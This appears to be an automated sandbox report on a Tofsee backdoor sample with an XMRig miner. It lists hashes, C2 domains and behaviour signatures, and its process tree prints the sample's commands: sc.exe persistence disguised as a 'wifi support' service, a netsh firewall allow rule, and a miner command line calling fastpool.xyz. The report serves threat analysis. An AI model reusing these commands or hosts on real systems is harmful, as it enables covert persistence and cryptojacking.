Analysis

  • max time kernel
    143s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/10/2022, 03:05

General

  • Target

    file.exe

  • Size

    260KB

  • MD5

    44edabdf619d4053046aee3cb173f71a

  • SHA1

    f9063933aa8ccb88bb27fde40f024161621562ce

  • SHA256

    8599ddccedc85d18748cf9541133f1515f5cf3a4e4d39e100531d496d70cb948

  • SHA512

    9cef6e271502f08e5be2f66c37fbfba4b166a3057d5f3a260330807a4434fc4a7f478c381050e798aededa1880244c37fbdd78a505d389306693ccfa33671c4b

  • SSDEEP

    3072:CylhBhD16Lz+BPyz58CGNmpyt8SFPeoA48L8XKP70YNfehLM/h3:/hBV0L6BIbpM1eoA48WKP4YFi

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4636
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qyckgxwn\
      2⤵
        PID:4768
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lkjklvxa.exe" C:\Windows\SysWOW64\qyckgxwn\
        2⤵
          PID:376
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qyckgxwn binPath= "C:\Windows\SysWOW64\qyckgxwn\lkjklvxa.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:952
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description qyckgxwn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4364
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start qyckgxwn
          2⤵
          • Launches sc.exe
          PID:4780
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4460
      • C:\Windows\SysWOW64\qyckgxwn\lkjklvxa.exe
        C:\Windows\SysWOW64\qyckgxwn\lkjklvxa.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4684
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3700
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3728
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4684 -s 660
          2⤵
          • Program crash
          PID:1132
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4684 -s 732
          2⤵
          • Program crash
          PID:4436
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4684 -s 752
          2⤵
          • Program crash
          PID:2320
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4684 -ip 4684
        1⤵
          PID:1752
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4684 -ip 4684
          1⤵
            PID:2356
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4684 -ip 4684
            1⤵
              PID:4392

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\lkjklvxa.exe

                    Filesize

                    11.0MB

                    MD5

                    86b0ed7b91635dae571fd0f80c2fc49e

                    SHA1

                    c16524457d14f51ad8dc47aa171eade005d688fe

                    SHA256

                    5b5494f0f519c14c857b744e6c07013c0eb5950221d287a1893c0b39b1a4246e

                    SHA512

                    9f61fe9d4363f344f1ad30537f6b1827567f41829df86887274f8ef6c291f7e26944b0b51b1b9462f1b56afe1efccf7ed9ab9770b275bbb936eddfbebf4e999c

                  • C:\Windows\SysWOW64\qyckgxwn\lkjklvxa.exe

                    Filesize

                    11.0MB

                    MD5

                    86b0ed7b91635dae571fd0f80c2fc49e

                    SHA1

                    c16524457d14f51ad8dc47aa171eade005d688fe

                    SHA256

                    5b5494f0f519c14c857b744e6c07013c0eb5950221d287a1893c0b39b1a4246e

                    SHA512

                    9f61fe9d4363f344f1ad30537f6b1827567f41829df86887274f8ef6c291f7e26944b0b51b1b9462f1b56afe1efccf7ed9ab9770b275bbb936eddfbebf4e999c

                  • memory/3700-159-0x00000000017E0000-0x00000000017F0000-memory.dmp

                    Filesize

                    64KB

                  • memory/3700-146-0x0000000000490000-0x00000000004A5000-memory.dmp

                    Filesize

                    84KB

                  • memory/3700-152-0x0000000000490000-0x00000000004A5000-memory.dmp

                    Filesize

                    84KB

                  • memory/3700-156-0x00000000008A0000-0x00000000008A6000-memory.dmp

                    Filesize

                    24KB

                  • memory/3700-150-0x0000000000490000-0x00000000004A5000-memory.dmp

                    Filesize

                    84KB

                  • memory/3700-162-0x00000000017F0000-0x00000000017F5000-memory.dmp

                    Filesize

                    20KB

                  • memory/3700-153-0x0000000002000000-0x000000000220F000-memory.dmp

                    Filesize

                    2.1MB

                  • memory/3700-168-0x00000000025D0000-0x00000000025D7000-memory.dmp

                    Filesize

                    28KB

                  • memory/3700-165-0x0000000007040000-0x000000000744B000-memory.dmp

                    Filesize

                    4.0MB

                  • memory/3728-172-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                    Filesize

                    964KB

                  • memory/3728-177-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                    Filesize

                    964KB

                  • memory/4636-133-0x0000000002EC0000-0x0000000002ED3000-memory.dmp

                    Filesize

                    76KB

                  • memory/4636-132-0x0000000002F77000-0x0000000002F8D000-memory.dmp

                    Filesize

                    88KB

                  • memory/4636-144-0x0000000000400000-0x0000000002C2F000-memory.dmp

                    Filesize

                    40.2MB

                  • memory/4636-143-0x0000000002F77000-0x0000000002F8D000-memory.dmp

                    Filesize

                    88KB

                  • memory/4636-135-0x0000000000400000-0x0000000002C2F000-memory.dmp

                    Filesize

                    40.2MB

                  • memory/4684-151-0x0000000000400000-0x0000000002C2F000-memory.dmp

                    Filesize

                    40.2MB

                  • memory/4684-149-0x0000000002E32000-0x0000000002E47000-memory.dmp

                    Filesize

                    84KB